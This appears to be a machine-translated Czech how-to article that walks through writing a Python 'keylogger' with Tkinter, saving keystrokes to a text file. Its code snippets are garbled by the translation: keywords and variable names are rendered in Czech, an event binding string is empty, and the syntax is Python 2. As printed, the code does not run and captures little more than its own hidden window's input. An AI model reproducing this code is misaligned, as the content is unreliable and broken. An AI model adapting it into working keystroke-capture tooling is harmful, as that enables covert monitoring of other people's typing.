Jak vytvořit Keylogger pomocí Pythonu

Žena u počítače dívá přes rameno

Zachyťte stisknuté klávesy a uložte je do souboru.

Kredit obrázku: Jupiterimages/Photos.com/Getty Images

Pomocí Pythonu můžete vytvořit program pro záznam stisku kláves k zachycení úhozů napsaných na klávesnici počítače. Stisky kláves se ukládají do textového souboru a zaznamenává všechny vstupy. Ke sledování aktivity na vašem počítači můžete použít keylogger.

Krok 1

Spusťte IDLE, klikněte na nabídku "Soubor" a vyberte "Nové okno" pro spuštění nového okna. Stisknutím Ctrl a S otevřete okno "Uložit jako". Jako název souboru použijte „getKeyLogger“ a klikněte na „Uložit“.

Video dne

Krok 2

Přidejte následující řádek kódu pro import jmenného prostoru "Tkinter" a definujte cestu k souboru, který chcete použít k protokolování:

importovat Tkinter jako tk myFile = open("C:/temp/keyFile.txt", "w")

Krok 3

Zkopírujte a vložte následující kód pro uložení každého stisku klávesy do souboru:

def keypress (událost): if event.keysym == 'Escape': main.destroy() keyPressed = event.char myFile.write (keyPressed)

Krok 4

Přidejte následující kód, aby uživatel věděl, že může začít psát a že může stisknout Esc pro ukončení programu:

hlavní = tk. Tk() print "Stiskněte libovolnou klávesu (klávesa Escape pro ukončení):" main.bind_all('', stisk klávesy) main.withdraw() main.mainloop() myFile.close()

Krok 5

Klikněte na tlačítko Start "Windows" a do pole "prohledat programy a soubory" zadejte "cmd". Stisknutím klávesy Enter otevřete příkazový řádek. Přejděte na "C:\Python“ a zadejte „python getKeyLogger.“ Stisknutím klávesy Enter spusťte program. Přejděte na "C:/temp/" a poklepejte na "keyFile.txt" pro zobrazení údajů o úhoze.